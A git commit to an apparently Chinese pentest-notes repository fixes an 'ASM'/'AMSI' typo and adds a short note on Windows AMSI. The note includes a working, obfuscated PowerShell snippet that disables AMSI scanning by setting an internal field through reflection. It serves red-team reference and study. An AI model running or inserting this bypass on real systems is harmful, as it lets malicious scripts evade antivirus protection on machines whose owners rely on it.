fix type error

This commit is contained in:
Mrxn 2020-07-02 23:21:42 +08:00
parent 05c11d8e87
commit 51b563e3c3
3 changed files with 23 additions and 2 deletions

View File

@ -486,7 +486,7 @@
- [Pentest_Note-渗透Tips总结了渗透测试常用的工具方法](https://github.com/xiaoy-sec/Pentest_Note)
- [红蓝对抗之Windows内网渗透-腾讯SRC出品](./books/红蓝对抗之Windows内网渗透-腾讯SRC出品.pdf)
- [远程提取Windows中的系统凭证](./books/远程提取Windows中的系统凭证.pdf)
- [绕过ASM执行powershell脚本](./books/绕过ASM执行powershell脚本.md)|[AmsiScanBufferBypass-相关项目](https://github.com/rasta-mouse/AmsiScanBufferBypass)
- [绕过AMSI执行powershell脚本](./books/绕过ASM执行powershell脚本.md)|[AmsiScanBufferBypass-相关项目](https://github.com/rasta-mouse/AmsiScanBufferBypass)
## <span id="head9"> 说明</span>

View File

@ -0,0 +1,21 @@
## 绕过AMSI执行powershell脚本
> AMSI的全称是反恶意软件扫描接口Anti-Malware Scan Interface是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务如Windows Defender
在基于场景的资产评估或者基于数据的红队评估中许多渗透测试人员都会与AMSI打交道因此对相关功能也比较了解。AMSI能够提供更强大的保护可以为反恶意软件产品提供更透彻的可见性因此能防御攻击过程中常用的一些现代工具、战术以及过程TTP。最相关的操作就是PowerShell无文件payload在实际环境中攻击者及渗透测试人员都在使用这种技术来完成任务。
正因为此AMSI是大家广泛研究的一个主题能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中我们介绍了AMSI的内部工作原理也介绍了一种新的绕过方法。
关键powershell代码如下
```powershell
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)
```
效果如图:
![AMSI_TN_bypass](../img/AMSI_TN_bypass.jpg)
代码来自:`https://pastebin.com/sQFWANwr`

View File

@ -1,4 +1,4 @@
## 绕过ASM执行powershell脚本
## 绕过AMSI执行powershell脚本
> AMSI的全称是反恶意软件扫描接口Anti-Malware Scan Interface是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务如Windows Defender